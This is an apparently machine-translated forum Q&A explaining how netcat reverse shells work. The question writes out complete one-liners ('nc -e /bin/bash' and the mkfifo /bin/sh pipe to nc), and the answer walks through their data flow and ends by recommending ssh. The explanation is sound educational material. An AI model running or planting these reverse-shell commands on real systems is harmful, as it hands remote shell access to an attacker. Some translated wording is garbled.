这个命令如何工作?(反向 shell)

这个命令如何工作?(反向 shell)

有一个简单的方法可以连接两个系统并获取一个 shell,使用数控命令如下。

  • 机器A监听

    nc -nlvp 4444
    
  • 机器B连接

    nc 192.168.4.4 4444 -e /bin/bash
    

但是,那-e不再有选择,男人pages 建议按照下面的方法执行命令

  • 机器A监听

    nc -nlvp 4444
    
  • 机器B连接

    rm /tmp/f
    mkfifo /tmp/f
    cat /tmp/f | /bin/sh -i 2>&1 | nc 192.168.4.4 4444 > /tmp/f
    

mkfifo我确实知道命名管道背后的概念以及重定向和管道的工作原理。但它仍然让我感到困惑。

答案1

让我们以标准流来思考stdinstderr分钟。

nc 192.168.4.4 4444 >/tmp/f

stdout的流被nc复制到/tmp/ffifo,这意味着它通过网络从另一台机器接收到的任何数据都会进入 fifo。那么 stdin 来自哪里?来自/bin/sh -i 2>&1。就其本身而言nc,它只需将数据发送回另一台机器即可。

那么, 会/bin/sh -i做什么呢?它会调用交互式 shell - 在其中键入命令并将输出打印到stdoutuser@host提示通常(如果不是总是)打印到stderr,但我们需要将其发送到远程计算机,因此2>&1应用重定向以通过管道发送提示。好吧,我们不能使用stdout来打印输出 - shell 必须将其发送到nc 192.168.4.4 4444以通过网络发送。我们也不能读取stdin-cat /tmp/f将使用它来打印示例中从机器 A 发出的任何命令。将命令传输到交互式 shell 并没有什么特别之处 - 当stdin重新连接时,应用程序不会意识到这一点,除非它正在主动检查。

$ echo 'df' | sh -i
$ Filesystem     1K-blocks     Used Available Use% Mounted on
udev             4000944        0   4000944   0% /dev
tmpfs             805348     1400    803948   1% /run
/dev/sda1       28717732 25907684   1328188  96% /
tmpfs            4026732    97496   3929236   3% /dev/shm
tmpfs               5120        4      5116   1% /run/lock
tmpfs            4026732        0   4026732   0% /sys/fs/cgroup
/dev/sdb1      115247656 99204832  10165476  91% /mnt/ubuntu
tmpfs             805344       32    805312   1% /run/user/1000
$ 
sh: 1: Cannot set tty process group (No such process)

简而言之,shell 从 fifo 读取命令并通过管道将命令发送到网络nc。从远程发送到本地 shell 的命令被写入ncfifo。如此循环往复。下面的基于文本的数据流图也总结了相同的信息

                             input data
                                  ||  /\
             (in via network)     \/  || (back via network `/bin/sh` via nc`)

cat /tmp/f  == > /bin/sh -i 2>&1 ==> nc 192.168.4.4 4444 ==>  /tmp/f ==||
  /\                                                                   ||
  ||                                                                   \/
  ======================================================================

顺便说一下,请注意,像这样制作一个 3 命令管道允许我们一次性生成这些命令(尽管订单无法保证) 的方式要简单得多。如果我们要手动执行此操作,并让所有进程都作为前台进程,nc则必须先在一个 shell 中启动以进行监听,cat在另一个 shell 中,sh在第三个 shell 中。在我们准备它们所花的时间里,它会阻止从命名 fifo 文件读取或写入,这还会引发如何将输出从发送到和从发送到的/tmp/f问题,这也可能添加更多命名管道。使用管道有三个cat/bin/sh/bin/shncfork()通话,以及三个exec()在一个 shell 中调用,并允许我们让它们全部通过文件描述符进行通信;无论它们的启动顺序如何 - 这要快得多,而且不那么复杂,尽管如果不知道管道、文件描述符和命令如何运作的话,就不是最容易理解的。

重要的提示:传统的ncas 协议不提供任何信息安全性 - 命令及其输出以纯文本形式通过网络传输,攻击者可能会修改机器 A 和 B 之间的数据。如果您确实希望通过其 shell 安全地向远程机器发出命令 - 请使用ssh。该ssh协议是专门为此目的而设计的。如果您确实打算使用安全协议,请使用openssl或者ncat

相关内容